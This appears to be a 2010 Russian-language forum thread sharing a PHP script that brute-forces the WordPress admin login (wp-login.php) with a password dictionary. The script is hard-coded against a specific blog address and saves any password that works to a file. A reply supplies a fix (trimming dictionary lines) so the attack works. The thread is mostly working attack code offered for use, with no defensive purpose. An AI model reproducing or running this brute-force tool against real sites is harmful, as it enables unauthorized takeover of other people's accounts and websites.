Брут WordPress 2.8.4

Discussion in 'PHP' started by Xmas_Maniac, 6 Jan 2010.

  1. Xmas_Maniac

    Xmas_Maniac New Member

    Joined:
    2 Jan 2010
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    PHP:
    <?php 
    /* 
    WordPress brute 
    Tested on WordPress 2.8.4 russian 
    ================================== 
    visit http://wordpress.org/ 
    */ 
    /* Console PHP version */ 
        
    $blogaddr="http://blog.aplus.by/"
        
    $login="admin"
        
    $dict="dict.txt"

        
    $pwds=file($dict); 
        
    $fg=fopen("good.txt","w"); 
         
        foreach (
    $pwds as $pass
        { 
            
    $post="log=".$login."&pwd=".$pass."&wp-submit=Login&redirect_to=".$blogaddr."wp-admin/&testcookie=1"
            
    $ch=curl_init($blogaddr."wp-login.php"); 
            
    CURL_SETOPT($chCURLOPT_POST1); 
            
    CURL_SETOPT($chCURLOPT_POSTFIELDS$post); 
            
    CURL_SETOPT($chCURLOPT_COOKIEFILE"cookie.txt"); 
            
    CURL_SETOPT($chCURLOPT_COOKIEJAR"cookie.txt"); 
            
    CURL_SETOPT($chCURLOPT_HEADER0); 
            
    CURL_SETOPT($chCURLOPT_URL$blogaddr."wp-login.php"); 
            
    CURL_SETOPT($chCURLOPT_RETURNTRANSFER1); 
            
    CURL_SETOPT($chCURLOPT_FOLLOWLOCATIONtrue); 
            
    $result=curl_exec($ch); 
            
    curl_close($ch); 
            if (
    strstr($result,"wpOnload")) { 
            
    fwrite($fg,"good: $login : $pass"); exit; } 
        } 
        
    fclose($fg); 
    /*  */ 
    ?>
    $blogaddr – Переменная, в которой хранится адрес блога.
    $login – Логин.
    $dict – Имя файла словаря.
     
  2. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Пароли берутся из файла и не обрабатываются функцией trim(), исправь
    PHP:
    $pwds file($dict);
    $pwds array_map('trim'$pwds);